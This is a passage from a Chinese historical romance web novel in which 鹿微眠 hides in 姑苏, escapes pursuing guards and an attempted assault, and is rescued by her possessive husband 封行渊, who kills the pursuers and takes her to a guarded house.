鹿微眠吓得双手一颤,直接将暖玉扔了出去。 定睛才发现那不是什么暖玉,只是一根树枝而已。 鹿微眠手指轻轻收拢,想起来何止是暖玉,还有旁边放着的绳子,捆手的链子。 封行渊告诉她是卖书的掌柜送的。 现在想起来,哪个好人家的掌柜送这些东西。 她太相信他了,都忘记光一根暖玉的价钱比那几本书不知道高了多少倍! 那根本就是想用来这样那样的! 鹿微眠咬了咬唇。 想起书来,又是一阵一阵的绝望。 她说那天翻的什么“房中九术”怎么那么奇怪。 怎么看怎么不正经,什么绳子铃铛、交椅云床。 她就该想到她房间里怎么会有这种书籍。 该不会封行渊看书学,就看得那种书吧。 还想让她也看,根本就是想让她也…… 过往的事情根本不能细想,越想个中破绽就越多。 鹿微眠得到的认知也就愈发的细思极恐。 钧宜发现鹿微眠的脸又皱成了小苦瓜。 鹿微眠说实话,“我现在只怕他生气。” 气急发疯。 前世他们情谊尚浅他都能疯成那样。 现在,鹿微眠不敢想。 钧宜心想姑爷生气那不是最不需要怕的事情吗。 姑爷那么听她的话。 鹿微眠越想越不行了。 眼下能躲一时是一时吧。 反正离她回京还有很长的时间呢。 即便是那个小疯子找来,应当也找不到姑苏。 鹿微眠转移注意力,深吸了一口气抬起头。 冷不丁看见一只白鸽从溪流水面点水而过,接着飞远了些,停在了树梢枝头。 那白鸽的羽毛很是漂亮。 在日光下愈发绚丽多彩,不像是野生的。 大概是附近哪一家村民家养的。 鹿微眠拍了拍手上和身上的灰尘,先回了客栈。 不出半个月的时间,他们一路很是顺畅地前行到姑苏。 姑苏是与长安截然不同的两座城,江南水乡气韵独特,鹿微眠在长安土生土长了十几年,从前还没有来过这里。 他们在驿站停下,钧宜上前询问城中的情况。 远远地听见些吴侬软语。 鹿微眠竖起耳朵,听不懂,但是很好听。 只是在掀开车帘的时候,路边的一株海棠树飘进来一朵海棠花。 鹿微眠捡起来。 钧宜还是有点本事在身上的,他能听懂。 他折返回马车上,“眼下进城还好,没有戒严,听说南巡的队伍才刚刚到江夏,过来还得有一段时日。” “到底是为了防备陛下南巡,城中查得有些紧……”钧宜看向慕景怀。 他们都听得出来,是不知道会不会查到慕景怀的身份。 “见过我的人不多,除非是我母妃的人,”慕景怀心下有数,“我小心些,不过等进了城,我可能得尽快去临安了。” 他这样一说,多少让人生出些紧迫感。 春莺肉眼可见变得担心起来。 “放心。”慕景怀安慰她,“我尽早去了,如果能尽快解决,也能尽早回来。” “我们先进城休整一下,”鹿微眠提醒他,“你还是得万事准备妥当,如若有需要帮忙的,也得尽快告诉我们。” “好。” 进城很顺利。 他们找了一个简单低调的客栈先做休息。 鹿微眠放好自己的东西,打开窗户通风。 也不知道是不是错觉。 她最近总是能看见一只白鸽。 打开窗户,她又看见了它,就在窗口不远处的树梢上,“咕咕咕”地叫着。 大概是看见她打开窗户,又一直在看。 小家伙很有灵性地扑腾着翅膀,停在了她的窗户口。 鹿微眠不敢动它,但是不妨碍称赞着,“你好漂亮啊。” 兴许是知道她在夸它,白鸽骄傲地用嘴巴顺了顺自己的羽毛。 鹿微眠看着,小心翼翼地将自己手里那一朵海棠花别在了它身上,“这样更漂亮了。” 她装扮完小白鸽,正好钧宜叫她下去吃饭。 鹿微眠左右也没当回事,直接下了楼。 * 漫长黑夜的客栈里,其他人都睡了,只有封行渊闲散地倚靠在一处,手里摆弄锻造着一个漂亮的银链。 身边一道白色身影飞过,封行渊缓慢地收回视线。 一只雪白信鸽扑闪着翅膀落在了他的手指上。 白鸽翅膀羽毛在月色之下散出盈盈光亮。 它身上的海棠花正落在了他手边。 封行渊捡起那朵海棠,像是在自言自语,也像是在问白鸽,“她最近过得好吗?” 白鸽“咕咕咕”地叫着。 * 姑苏城是一个很适合休养生息的地方。 鹿微眠在城中养得人都懒了,一睁眼又快到午时。 她下楼发现慕景怀和* 伍奚坐在桌前,在商议着什么。 鹿微眠走上前,听见他们说,慕景怀计划今日启程去临安。 “这么早啊。” “得提前去。”慕景怀没有说太多,听着语气有些沉闷,“我需要赶在南巡的队伍过来之前,把水坝的情况摸清楚。” “在这过程中,不一定会有什么意外。” 春莺从楼上下来,将慕景怀的包裹递了过去,坐在旁边。 鹿微眠听来也是,“我父亲就在临安,你任何事情,都可以去找他。” 她摘下腰间的子辰佩,“这个是父亲从前送我的,你把这个给他,他就知道是我了,事关民生大事,他一定会配合你的。” 慕景怀接过来,“多谢。” “该是我谢你,若是水坝出事,我父亲也难逃。” “话虽如此,”他说着,还是不太放心地看向春莺,“不过还是需要麻烦你……” 鹿微眠知道他担心什么,“春莺在我这里你放心。” 春莺示意他不用担心这边,去做好正事要紧。 慕景怀点头,“交给你们,我放心。” 钧宜补充道,“如有需要,尽快送信回来。” “好。” 慕景怀简单地收拾了一番,跟春莺说了一会儿话,就启程上路。 春莺只看着慕景怀离开的方向发呆。 慕景怀跟春莺说等他回来,一切都解决之后,他就给父皇递婚书。 哪怕不再要这个皇子身份,不再回长安也好。 他们都不想再做皇宫里任人摆布的笼中鸟雀。 鹿微眠当下有点明白春莺为什么会觉得慕景怀傻。 他倘若自私一点,既然带着春莺逃出来了,那就远走高飞再也不参与这些其他纷争。 不管虞念做什么伤天害理的事情,他逃走之后都与他们无关,不会有人再干涉他们的自由。 但他还是要去。 他说他是唯一知道虞念全盘计划和内部安排的人。 不知道也就罢了。 知道了就没有办法装作不知道,心安理得地过活。 何况,他们的孩子马上就快出世。 慕景怀说,无论如何那是她的母亲。 如果虞念因为无法原谅他祖父的过失,而怨恨整个大郾。 他又怎么能说服自己,母亲之过,与他无关。 即便不是为了他自己。 也要给孩子留一个干净的身世,好过跟他一样。 鹿微眠送走慕景怀,轻轻拉了一下春莺。 春莺才回过神来,跟她一同上马车回客栈。 鹿微眠把她扶上去,正准备上车,脑海中电光火石闪过一些事情。 脚下忽然踩空,踉跄一下扶在马车边。 钧宜看见上前扶她,“夫人。” 鹿微眠摇头示意她没事,思绪一团乱麻。 对。 慕景怀…… 前世也死于沉城! 她怎么忘了呢。 如果前世慕景怀的选择和现在一样。 他也是带着春莺离开,跑去临安阻止大坝垮塌。 前世是,他失败了?! 那这次…… 鹿微眠心有余悸地回头,看向慕景怀离开的方向。 但这会儿慕景怀的身影早就消失在了山路之上。 春莺见她许久没有上来,探出身子看她怎么了。 鹿微眠敛起心绪,“没事,刚刚滑了一下脚。” 她不敢告诉春莺这些事情,只能先上车回客栈。 扶她上去之后,钧宜也跟着上车,伍奚在前面催马进城。 车帘落下的同时,不远处传来马蹄声响,带过一阵微风。 将落下的帘子轻轻掀起。 鹿微眠透过掀起的一角,看见了马背上男人的官靴。 官靴样式有些眼熟,皮质带盔甲,上面挂着金属锁链。 但是官靴也都是那个样子,眼下南巡在即,城中多见巡察的士兵。 鹿微眠这会儿心情复杂,只不过随意瞥了一眼,压根没有细想。 也没有掀开帘子去细看。 马车外,凌双勒紧缰绳,回过头,告诉封行渊,“主子,到姑苏了。” 第63章 抓到 封行渊坐于马背上, 看着姑苏城门牌匾,简单地应了一声。 原本停在他身边的马车动了起来,朝着城门的方向走了过去。 封行渊回过身, 说了一句,“不急。” 他调转马匹方向,折返回山林里。 山林里, 西陵兵马安静地藏匿着。 马车内, 鹿微眠冷不丁听到这么一句话, 才感觉到有些耳熟。 她不得不从思绪中抽离,掀开车帘。 但此时马车已经走过城门, 后面也根本没有什么人影。 鹿微眠放下帘子, 以为自己是过度担心,才出现了幻听。 她想着既然如此, 他们应该怎么样才能知道慕景怀的情况。 倘若真的有异动,得赶紧去帮忙才好。 在这里坐等,鹿微眠总还是担心万一慕景怀一个人应付不了怎么办。 鹿微眠叫钧宜, “南巡队伍,大概还有多久过来?” “十来日。” “明日……”鹿微眠斟酌着,“明日之后,你小心些去临安找父亲。打探一下情况, 看看他们需不需要帮忙。” 钧宜应下来,“好。” 鹿微眠实在是不放心, 慕景怀自己去探查,一天时间怎么也能知道个大概情况。 如果顺利的话, 钧宜回来禀报他们也放心。 但不顺利的话, 剩下的时间也足够他们得到消息再想办法帮忙。 钧宜明白这个道理,次日就收拾东西启程。 鹿微眠帮他规整了下行李。 屋外风声呼啸, 一下子将窗户吹开,蕴含着潮湿水汽的冷风灌入屋内。 伍奚忙上前将窗户关好,“看样子要下雨了。” “那我尽快启程,”钧宜拿过行李,“我就不带太多东西了。” “我会快着些,不管情况如何,都先回来与夫人禀报。” “最早明晚,最晚后日回来。” 鹿微眠答应着,看他离开客栈。 掌柜的背着手望向天空繁密的乌云,慢悠悠道,“这是快到雨季了。” “又要一连几月都见不着太阳喽。” 鹿微眠听见雨季两个字就格外敏感,她看向那边掌柜。 掌柜与他们随意地搭腔闲聊,“几位是北方来的吧。” 伍奚接过话来,“是。” “那你们可不一定能适应这边的雨季,”掌柜回想着,“前两年的水下得也大,年年洪水。很少有人来这边玩了,也就你们不知道。” 梅雨季节,来江南游玩的人少。 他们选的这个客栈也是个偏僻寂静之处。 客栈里来往的人不多,眼下又快到了打烊的时间,大堂里只有他们几个。 “不过不用担心,今年听说朝廷的鹿司空亲自下来监工修缮水坝,应当是没事了。” 掌柜神神秘秘道,“鹿司空你们知道吗?那可是朝廷大官!” 春莺和伍奚齐齐看向鹿微眠。 掌柜见他们不说话,“你们应该不懂这些,现在小年轻哪里关心朝堂政事。” “看得出来,朝廷这次是重视啊。”掌柜拉开了旁边的座椅,“我坐这介意不?” 春莺和伍奚连忙摆手,伍奚给掌柜腾了个地方。 掌柜一同坐下来,小声道,“实不相瞒,我们在官场上有人。” “您家里有人入朝为官?” “我弟和我儿都去临安参与兴修了。”掌柜的一脸自豪,“他可是与我说,能日日见到鹿司空。” 鹿微眠捧着茶盏的手慢慢收紧,“鹿司空,他现下如何?” “挺好的。”掌柜捋着胡子,连连点头,“现在少见这般亲民的朝官了。” 鹿微眠晾凉手里的茶,轻抿一口。 掌柜又继续道,“而且我听说,这次鹿司空前来兴修,是与朝廷签了死契的。” 鹿微眠看向他,“死契?” “不知道吧。”掌柜语调神秘,“听说他怕万一事情不成,牵连妻女。” “出了事,那就他一人担责。” 鹿微眠惊愕地看着他。 掌柜被她盯得,脸上的神秘之色慢慢消失。 他抓了抓头发,这也不至于这么震惊吧。 又不是她爹为了她签死契。 掌柜说完秘密就起身,顺便擦了个桌子,“不过大坝开春就竣工了,但是他们得等到汛期结束才能回来,防止汛期需要抢修,我也希望这事顺利。” “这样我弟和我儿都能尽快回家了。” 春莺听完,伸手拉了一下鹿微眠。 鹿微眠动了动唇,没能说出话来。 他们没有在楼下坐多久,在客栈关门打烊之后就上了楼。 慕景怀离开后,春莺恢复了一如既往给慕景怀写信的习惯。 她与鹿微眠坐在房间里,看见鹿微眠还没缓过神,给她写了一张字条递过去。 上面圆圆滚滚的三个字,“会好的。” 鹿微眠重复着,“会好的。” 他们这些时日也知道,不止这掌柜一家有人在临安,自从水坝动工以来,这十里八乡许多人家都有人应招前去临安参与兴修,都是为了自己的家。 鹿微眠觉得她这不算什么了。 江南本就因为连续两年洪水,收成大减,难以生存。 这里十户人家,有八户的家人在那。 都跟她一样。 一荣俱荣,一损俱损。 没有人能独善其身。 没多久,屋外的风声就更大了些。 后半夜下起淅淅沥沥的小雨。 鹿微眠起来关窗,看着朦胧细雨拉出一层雨幕笼罩在夜空之下。 也不知道钧宜到哪了。 她关好窗户折返回去躺下,看见春莺也睁开眼睛看着她回来。 鹿微眠小声问着,“我把你吵醒了吗?” 春莺摇头,她伸手摸了摸肚子。 鹿微眠能看见她的肚子有轻微的起伏。 是胎动。 鹿微眠伸手摸了摸起伏的地方,春莺肚子里的小家伙也没有安静多少。 春莺的性情平稳,所以即便路程这般崎岖,她的孩子也很少闹人。 这样突然的动向,说明春莺心下也不安稳。 鹿微眠问春莺,“你很担心吗?” 春莺迟疑片刻,点了点头。 “别怕,”鹿微眠躺在她旁边,“明日钧宜回来,我们就知道那边什么情况了。殿下吉人天相,一定会顺利的。” 春莺捧住她的手,抱在枕边。 唇形是,“我相信你。” 鹿微眠叫她好好睡觉,但心下没底,闭上眼睛脑海中却始终安静不下来。 一遍一遍地想着前世的事情,不知不觉沉入梦中。 风雨声愈演愈烈,繁密树林间马蹄声笃笃。 钧宜快马加鞭,在天刚破晓时赶到了临安。 或许是下雨,整个临安城寂静无声。 空荡的街巷内,只有钧宜一人。 钧宜眉头紧蹙,总觉得哪里不太对劲。 并不打算在街上多做停留,直接前去知府找鹿瑜。 他骑马停在知府后院门口,刚一下马,身后一阵凌厉冷风袭来。 钧宜屏气蓦的闪身,与那打过来的棍子擦肩而过,还未等他做出下一步动作。 一枚银针刺入了他的胸口。 钧宜眼前光影瞬间模糊下来。 直到完全失去意识。 半梦半醒间,他被人绑起来关进了一间阴暗潮湿的屋子。 一道很是熟悉的声音响起,“还好,娘娘早就知道三殿下会坏差事,命我们在这里请君入瓮。” 钧宜凝眉,强迫自己睁开眼睛,却只是看见了来人的紫色长袍。 昏暗光影中,慕景怀被绑在不远处的木架上,昏迷不醒。 他冷笑着,踹了钧宜一脚,“这不还有帮手呢,真是收获颇丰。” “走吧,咱们再去把他藏起来那只怀了崽子的小夜莺也抓过来。” “娘娘说,抓了她殿下恐怕能清醒一点。” 第二天清早,繁密的雨珠拍打窗框时,鹿微眠猛地睁开眼睛! 她惊坐起身,转头看春莺还躺在她身边,才松了一口气。 鹿微眠看着被雨水沾湿的窗户,小心翼翼地起来,打开窗户看了看窗外。 这会儿天刚蒙蒙亮,门口街巷上空无一人。 鹿微眠冷静下来,眼前还是不停的闪过刚刚梦境中的画面。 那不是她前世看到的。 她也不知道自己为什么会梦到这些。 可她就是梦到了,春莺被抓走,关进了一间屋子。 他们拿刀抵在春莺的脖子上,威胁慕景怀离开临安,放弃阻拦沉城计划。 而春莺自己撞在了刀上! 鹿微眠缓了片刻的神,安慰自己只是个梦而已。 但心跳却越来越快。 她实在是没忍住,连忙把春莺和伍奚都叫起来,“我们走。” 春莺不知道为什么,但跟着起床收拾。 伍奚不解,“怎么好端端的要走,万一钧宜回来找不到咱们怎么办。” 鹿微眠顾不上想那么多,“先走。” 他们起得早,客栈掌柜和店小二都还没起来招待。 鹿微眠给客栈掌柜留了一锭银子,趁着无人察觉,悄无声息地离开。 进出城都有记录,他们眼下不好出城会被发现。 鹿微眠找了城北侧一处无人居住的荒废小院子,先躲了进去。 屋子虽然没有人住,但还算是规整利索,没有什么杂七杂八的东西。 无非是要打扫收拾一番。 鹿微眠和伍奚一起收拾好,只是屋子里还缺一些寝具和日常用的东西。 鹿微眠记下来,打算一会儿出去采买。 伍奚还是没忍住问道,“我们为什么突然要走啊?” “我怕有人会查到。”鹿微眠觉得眼下用梦说服他们,并不合理,“咱们住在客栈,每日侍卫清查,很轻易地就能找到,我主要是怕他们找到春莺。” 找到春莺过于容易。 眼下怀着七个月身孕的姑娘,没几个在客栈里住着的。 一问就知道。 鹿微眠了解一些官场上的规矩,“搜查民间需要疑罪搜查令,不然不能随意查百姓的住所,他们即便找过来也难一些。” “真找过来了,还有时间再想办法,”她看向春莺,“就是可能,委屈你一些。” 春莺摇头,与她比划着。 “我本就是奴婢,哪里有什么委屈不委屈的。” 伍奚问着,“那,今晚要是钧宜回来,找不到我们呢。” 鹿微眠思量片刻,“无妨,若是他能安全回来,一时半刻与我们碰不上也没关系,我去迎一下他。” 伍奚连忙道,“我去迎吧。” “不行,”鹿微眠坚定地回绝,“你就在这里,照顾好春莺。其他的事情我来做。” 她又不会武,真碰上什么事,还是得有点身手的人陪着。 到底是要采买一些布帛寝具,不好弄湿。 午后外面雨势渐停,鹿微眠才出门采买。 她换了一身衣服,带上帷帽,拎着一个篮子离开院子。 这一片距离能采买的地方还是有些远,鹿微眠也就跟着走得远了一些。 雨后长街上来往的人多了起来。 鹿微眠按照清单上买好寝具,雇了店铺里一辆车先把大件送去了小院子,自己又折返回来继续买其他的东西。 日头西斜,鹿微眠拎着吃食和给春莺准备的安胎药从药铺里出来。 隐约听到一些繁重的脚步声。 她回过头,看着原本空荡寂静的街巷里,一些侍卫整齐地走过,像是在巡逻开路。 随后挨个店铺进去查探,和往常一样。 只不过不一样的是,鹿微眠在巡逻队伍里,看见了一个身着紫色长袍,阴柔的熟悉面孔! 若是从前,她兴许不会注意到,但此时,那抹身影与当初青荷给她的画像完全重合! 那是姜崇! 鹿微眠握紧了手里的篮子,故作平静地离开店铺。 眼尾余光瞥见姜崇就停在了他们今早刚刚离开的客栈前,在与客栈掌柜说话。 掌柜如实交代,“怀孕的女子,对,最近是有一个。” “不过他们今早莫名其妙留下房费就走了。” “去哪了?” “这,我们不知道,兴许是有急事走了吧。” 鹿微眠硬着头皮,寻了一个就近的巷子,拐了进去。 即便如此,姜崇上挑的眉眼漫不经心地朝着她扫了过去,凤眸微微眯起。 他不再听掌柜说话,稍一抬手。 周围的侍卫立马朝着鹿微眠离开的方向追了过去! 鹿微眠听见身后传来的整齐而繁重的脚步声,想也不想,提起裙摆就往巷子深处跑! 她顾不得深思姜崇怎么能仅凭一眼的背影就要追上来。 姜崇能做淑妃十多年的眼线,怕也不是个空壳子。 鹿微眠眼下只知道自己绝对不能往春莺躲藏的小院子那边跑。 她只能朝着反方向,漫无目的地躲藏。 江南水乡九曲回肠,鹿微眠一时间只能凭借短暂的屋舍遮挡优势。 但相比于侍卫的体力,她还差得很远。 鹿微眠慌不择路,躲进了一间空院子里。 她关上门按压着门板,听见外面的追兵从门口跑过,缓慢地松了一口气。 短暂的静谧之时,她只听得到自己砰砰乱跳的心跳声。 鹿微眠凝眉思索着当下的境况。 和她梦里发生的事情一模一样。 她不能让春莺被抓住,也不能让自己被抓住。 等到外面追兵走了之后,她想想办法要不要出去。 实在不行,她今晚就先不回去了。 反正今晚要用的东西已经送回院子里,他们行李包裹里也有些食物,应当还好。 鹿微眠扶着门板,正要放松下来之时,忽然听到了侍卫和姜崇说话的声音。 “公公,人没影了。” “巷子里没有人影,那就去敲门,挨家挨户找。” 鹿微眠心里咯噔一下。 姜崇指令下去的同时,她周围的几个院子就响起了砸门的声音。 敲得鹿微眠神经一阵一阵的紧绷。 她胸口剧烈的起伏着,将院子大门用门栓拴上,又挪过来旁边的水缸堵在门口。 随后轻手轻脚地进了屋舍。 这里的屋舍邻水就显得破败一些,屋内有很明显地被水泡过的痕迹。 大概是哪一年洪水把这里淹了,这家人就走了再也没有回来。 附近像是这样的屋舍还有许多。 鹿微眠穿过房屋,听着后街没有追兵巡察的声音,便打开后窗,从窗户翻了出去。 她刚刚翻出去,那院子外就响起了震耳欲聋的敲门声。 “有人在吗?” 鹿微眠将窗户关上,顺着后街小巷往外跑。 刚要跑出去却发现整片百姓屋舍外面都被前来搜查的侍卫团团围住。 她只要一跑出去就会被人发现抓住。 鹿微眠扶着墙壁,后退了两步,身后不远处也传来搜捕声。 她在这里根本藏不了多久,再这样待下去,很快就会被发现。 鹿微眠靠在旁边,深吸了一口气,而后摘下帷帽扔进了旁边的草丛花木里。 鹿微眠故作平静地从巷子里走出来,将街巷围住的侍卫看见她,果然上前。 手里的刀弹出,将她拦了下来,“站住。” “官爷怎么好端端地,把我们家围起来了。” 侍卫上前打量了她一番,随后掀开了她手边的篮子,“干什么的?” 果然除了姜崇以外,这里的侍卫不认识她。 鹿微眠解释道,“我就在这里住啊,带了点东西,准备出去探亲。” 侍卫将信将疑地围着她转了一圈,“探什么亲。” “我父亲。” 侍卫继续问着,“你父亲住在哪?” “我父亲就住在前面对街那里。” 侍卫停在她身后,“我随你去。” 鹿微眠看他们这群人始终不会轻易放过这里出去的人,巷子里的搜查声越来越近,心知这般僵持也不是办法,的确得赶紧先离开,“好。” 侍卫跟身边的兄弟支会了一声,随鹿微眠去了对街。 远离了包围圈,鹿微眠心下放松些许。 但始终感觉到身上一道尖利的视线紧盯着她,像是要将她刨开看穿。 她故作淡然地往前走,身后男人朝她走近了些许,与她闲聊,“姑娘看着年岁不大,这是成婚了?” “嗯。” “那你丈夫呢?怎么没与你一同看父亲。” 鹿微眠听着他一连串的问题,有些烦躁,“他有事出去了。” “出去多久了?”男人走得更近了些。 打量着眼前少女腰身纤细,不堪盈握,身上沾了雨水看起来有些潮湿地依附在她身上。 勾人得紧。 鹿微眠不自觉地想要与他拉开距离,“今日就回来。” “今日几时回来?” 鹿微眠凝眉,略过了他的问题,“前面就是我父亲家了。” 忽然间,她手腕被那侍卫握住,一下子扯了过去,抵在墙壁上,“我瞧着你父亲也不在家,姑娘就先别去了。” “你……”鹿微眠是没想到姜崇身边的官差如此大胆,“这青天白日,你敢……” “我有什么不敢的,有本事,你就去报官,让我弟兄们来抓我哈哈哈!你猜他们会不会想跟我一起……” 男人正要将人扛起来,随便进一间躲避洪水而搬走的空宅院。 鹿微眠一时情急,下意识喊了一句,“夫君!你来了!” 那侍卫不得不停下来,顺着她示意的方向看过去。 忽然迎面一片辣椒粉直接糊进了眼睛里! 鹿微眠掉头就跑! 身后传来侍卫被辣椒辣到眼睛的挣扎声,“来人啊!抓住她!!” 这一片没有他的帮手,即便是喊声把人叫过来也还有一段时间。 鹿微眠刚跑了两步,拐过街角,忽然眼前被男人高大的身影笼罩、压覆。 她被那双血色异瞳牢牢锁住,在那一瞬间甚至忘记了呼吸,屏气踉跄着后退。 封行渊好整以暇地看她,那如魔魅一般的声音与梦中重叠起来,“瞧瞧我,抓到了什么。” 午夜梦回间的场景尽数汹涌而上,冲撞得鹿微眠大脑一片空白! 身后的侍卫看不清,以为是自己的同伴到了。 寻着声音快步上前,“来得正好,这个小贱人敬酒不吃吃罚酒!” 鹿微眠根本顾不上听那个侍卫在说什么,被封行渊紧逼的脚步,弄得步步后退。 她实在是承受不住这般压迫感,本能地转身要跑,忽然被封行渊握住肩膀,后背紧贴着他,反扣在他身前! 几乎是她被封行渊扣住的同时,眼睁睁地看着封行渊手中的匕首飞旋而出,直接割开了侍卫的脖颈! 那侍卫脚步被匕首带得剧烈后退一步,跌倒在地。 鲜血飞溅出来,喷洒在旁边墙壁之上! 侍卫躺在地上抽动。 空气中瞬间弥漫开浓烈的血腥气息。 鹿微眠身前横亘的手臂收紧,勒得她险些喘不过气来。 封行渊刚杀过人的那一只手也环住她的腰,紧紧收住,像是要将她揉进骨血一般。 耳侧响起男人低哑的声音,厮磨着她脆弱的神经,“不是叫夫君来帮你,跑什么?” 鹿微眠尾椎跟着攀爬上一层诡异的酥麻,身形轻颤。 “夫人看起来好怕我啊。”封行渊见她的反应,心里已经有了答案,“见我就跑。” 他神色晦暗,在一片血腥气息中轻咬她的耳朵,嗓音阴鸷幽然,“果然还是要将夫人锁起来,夫人才不会抛弃我。” 第64章 爱我 鹿微眠耳骨被他的嗓音轻震, 浑身发麻。 她躲了躲他的唇,语不成调地试着挣开,“你, 你先松松……” 封行渊环抱着她,低头问她的语调夹杂着危险气息,“夫人不想我吗?为什么要让我松开。” “夫人这样, 会让我很难过。” 他温热的气息就喷洒在她的颈窝里, 鹿微眠汗毛直立。 一下一下, 灼热滚烫。 “不要难过,”鹿微眠发现自己已经说不出来完整的话, “我只是……” 封行渊接过话来, “只是怕我对吗?” 鹿微眠不敢说话。 而此时刚刚那个侍卫叫嚷引来了大片的侍卫和追兵。 街巷里一阵繁重的脚步声,与身后的人一起, 将这一片空无人烟的街巷牵连拼合成偌大的危险禁地。 封行渊慢条斯理道,“那夫人选他们,还是选我。” 鹿微眠看见有人提着刀跑进了这里, 指着他们大喊,“在这里!” 而那侍卫身后,姜崇缓步走了进来,牢牢地盯着他们。 鹿微眠眼睫颤了一下, 转过身抱住他的腰,“选你, 我要你。” 在鹿微眠看不见的角度,封行渊轻轻弯唇, 像是得到了满意的答案, 异瞳浸染血腥气息。 再抬眼时,看向远处的目光仿佛在看死人。 鹿微眠听着他近在咫尺的心跳声, 不受控制地呼吸急促许多。 封行渊轻轻摸了摸她的脑袋,温声示意,“闭上眼睛。” 鹿微眠僵硬地顺着他的话,闭上了眼睛。 身后响起追兵赶过来的声音。 几乎是同时,四处宅院院落里骤然腾起无数个黑影,正面迎上姜崇带来追缴的侍卫! 鹿微眠只听到了尖利的刀枪棍剑碰撞声响,每一下都仿佛从她的耳膜刮过,刺激着她的神经。 刀剑入血肉的声音,还是吓得她心尖一颤。 接着脑后大手就将她按在了他的胸膛。 鹿微眠一时间竟不知道,是身后更危险,还是身前这个人更危险。 有冷兵器相撞的声音就在她的耳侧响起,还没等鹿微眠害怕,那个冲上来的侍卫便身首异处。 封行渊忽然发觉,怀里的人抱他抱得更紧了些。 但这却让他心下杀人的兴奋感更重几分眼底嗜血气更浓。 不过眨眼间,街巷里满是追缴官兵的尸体! 鹿微眠鼻息间满是血腥气息。 封行渊好整以暇地看着她的反应,一根黑色丝带绑住了她的眼睛,避免她看到太过于血腥的场景。 “我们可以走了。” 鹿微眠眼前视线被蒙住,大概也知道这现场的惨烈情况,不太合适入眼,她也没有反抗。 只是在封行渊扶着她的手臂往前走的时候,鹿微眠好巧不巧踩到了一个软软的东西。 像是个人,但又不太完整。 反应过来自己踩到了什么的鹿微眠惊叫出声,连连往封行渊身上躲。 封行渊俯身将人抱起,从一片尸身血海中踏步而出。 连身后草木都被浸染上血色,杂糅成他令人心惊的背景色。 与他瞳孔深处的血痣相得益彰,妖冶而血腥。 鹿微眠也不挣扎,就这样蜷缩在他怀里,任由他将自己抱到一个僻静之处。 摘下眼前的黑色绸缎,鹿微眠才发现自己被他抱进了一辆马车里。 封行渊垂眸,拿着一方湿帕,仔细地擦拭着她手上沾染的血迹和灰尘。 鹿微眠偷偷看了他两眼,动了动唇,还是什么都没有说出来。 马车内一时间寂静无声。 封行渊擦干净她的手,又挪到了她的脸上,“怎么把自己弄得跟只小花猫一样?” 鹿微眠眼帘压低,避免与他对视。 封行渊擦过她脸颊,凑近些许,好整以暇地揭穿她,“夫人不敢看我?” “没有。”鹿微眠心虚地否认。 封行渊不紧不慢道,“这些时日,夫人都听那个小傻子说了什么?” 鹿微眠思考了一会儿才反应过来,他说的小傻子是慕景怀。 她刚要说“没说什么”,就突然意识到,“你知道我是跟他走的?” 封行渊并不避讳,嗓音又低又沉,“后来才知道。” 他擦拭她脸颊的手,不受控制地下移到了她的唇间,粗粝的指腹剐蹭着鹿微眠的薄唇,“但其实,偷偷摸摸才能知道你的消息,真的让我很不开心。” 鹿微眠被他指腹剐蹭得唇角轻颤。 封行渊看着她,眼尾噙着似有若无的笑意,“夫人抖什么?” “你知道什么了?” “告诉我。” 他视线尖锐,仿佛能将她灵魂穿透。 接二连三的问题,让鹿微眠说不出话来,按道理,她应该兴师问罪才对。 可脑袋一空说了一句,“我什么都不知道。” 封行渊笑了,“撒谎。” “真的什么都不知道的话,”封行渊低头,乌沉眉眼肆意描摹着她的唇线,“吻我。” 鹿微眠对上他深不见底的黑瞳,气息有些许凝滞。 仿佛只要一靠近他,就能被他完全吞吃入腹,拉扯揉碎。 而他像是一只饿狠了的猛兽,但却又因为长久的等待而变得极其耐心且凶险。 趋利避害是人的本能,鹿微眠觉得她还是应该缓一缓,不自觉地往后躲了一下。 她躲避动作一出,腰就被猛地往前一带。 她被拉到他身前。 就在他们僵持不下之时,凌双在马车外出声,“主子,姜崇不见了。” 封行渊眯起眸子,随意且懒散地吩咐着,“知道了,咱们先走。” 鹿微眠忽然间想起要紧事,“等一下,咱们去哪?” 封行渊揉捏着她的指骨,“当然是一个没有人打扰,也没有人能找到的地方。” 鹿微眠反扣住他的手,“那个……” 她的声音小了一些,“我能不能,先请你帮个忙。” 封行渊有点不高兴。 因为从前,她从来都不会用“请”这个字眼,来让他帮忙。 怎么办呢,夫人好像与他生分了。 他捏她手指的力道更大了一些,“帮什么?” 鹿微眠被捏得浑身不自在耳根也烫了起来。 一刻钟后。 马车停在了那个小院子前。 春莺和伍奚也被接上了车。 马车足够宽大。 几个人面面相觑,春莺眨了眨眼睛看向鹿微眠,伍奚从前也没有见过封行渊。 鹿微眠只能硬着头皮介绍,“这是我夫婿。” 封行渊高兴了。 春莺点头示意,伍奚也简单地打了个招呼,“封大人。” 春莺到底不方便过多挪动,况且月份大了也不好离开城中医馆太远,他们停在了一处宅院前。 侍卫将春莺扶下来,将她送进去。 鹿微眠看着这处宅院问封行渊,“这里安全吗?” “夫人是觉得我身边不够安全吗?” 又来了。 鹿微眠觉得他每一句话都夹着无处发泄的火气。 “我那不是也怕连累你嘛,那万一……” “没有万一。”封行渊平静道,“这里重兵把守,一个苍蝇都不会放进来。” 鹿微眠看着他,语气沾了点怨怪,“你该不会又想把我藏起来。” 封行渊眼睛亮了一下。 看得出来,他对于这个想法很是心动。 “你不许!” “你要是不喜欢,那就算了。”封行渊手指拂过她的脸颊,“但是夫人这两天,先乖一点,哪也不要去好不好?” 鹿微眠还有很多担心的事情,她不确定说了会不会给这个小疯子再添一把火。 但是不说又…… 她愣神之时,已经跟着封行渊走进宅院深处,与春莺他们不在同一个院子里,相隔很远。 前院的值守暗卫很多,越走到深处,人就越少。 仿佛是一片只属于他们的隐秘境地。 这般安静让鹿微眠很不适应,她只能开口,“钧宜还有慕景怀他们……” 封行渊调侃着,“见到我之后,总是提别人,夫人* 心里的人可真多啊。” 刚接上一个春莺一个伍奚,又是钧宜和慕景怀。 他又想让这个世界上的人都死光,只剩下他们了。 鹿微眠从前不知道他这话是什么意思,现在知道了。 “哎呀,提别人是因为你来了,我才有人帮忙啊。”鹿微眠握住他的手,停了下来,忽然凑上前亲了一下他的唇角。 封行渊脚步也跟着顿住。 鹿微眠不知怎么的,心脏砰砰乱跳,甚至比最开始亲吻还要让人心绪不宁,眼巴巴地看着他,“这样可以吗?” 封行渊垂眸看她,浓密的眼睫在眼底打出一片剪影,遮住他眸中暗色。 他弯身在她耳边,如恶魔一般告诉她,“不可以哦。” “夫人走的这一月有余,让我变得难哄了。” 鹿微眠哽住。 他好烦啊。 